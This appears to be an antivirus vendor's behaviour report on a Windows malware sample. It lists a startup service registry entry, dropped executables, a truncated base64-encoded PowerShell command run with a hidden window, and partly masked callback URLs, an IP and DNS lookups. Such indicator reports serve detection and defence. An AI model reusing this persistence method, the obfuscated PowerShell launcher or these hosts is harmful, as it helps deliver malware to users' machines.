Technical Information
- [<HKLM>\System\CurrentControlSet\Services\tdh] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\tdh] 'ImagePath' = '"%WINDIR%\SysWOW64\wlanutil\tdh.exe"'
- 'tdh' "%WINDIR%\SysWOW64\wlanutil\tdh.exe"
- 'tdh' %WINDIR%\SysWOW64\wlanutil\tdh.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABJADUAaQB1ADgAdgA1AD0AKAAnAEwAJwArACgAJwA2AHEAOQBmACcAKwAnAGwAcwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAVQBzAEUAcgBwAFIAbwBGAGkAbA...
- %HOMEPATH%\gyrn6ud\f9phwy9\wpmza8snw.exe
- %HOMEPATH%\gyrn6ud\f9phwy9\wpmza8snw.exe
- from %HOMEPATH%\gyrn6ud\f9phwy9\wpmza8snw.exe to %WINDIR%\syswow64\wlanutil\tdh.exe
- %HOMEPATH%\gyrn6ud\f9phwy9\wpmza8snw.exe
- '12.##3.208.58':80
- http://pl#####oolmatritva.com/cgi-bin/Cqw/
- http://mu##-in.com/wp-admin/0/
- http://12.##3.208.58/nlsDeVJkQ3b1E9qqR/Bc8Nm/5YGldG/cny05yWMzx2JF/
- DNS ASK pl#####oolmatritva.com
- DNS ASK mu##-in.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABJADUAaQB1ADgAdgA1AD0AKAAnAEwAJwArACgAJwA2AHEAOQBmACcAKwAnAGwAcwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAVQBzAEUAcgBwAFIAbwBGAGkAbA...' (with hidden window)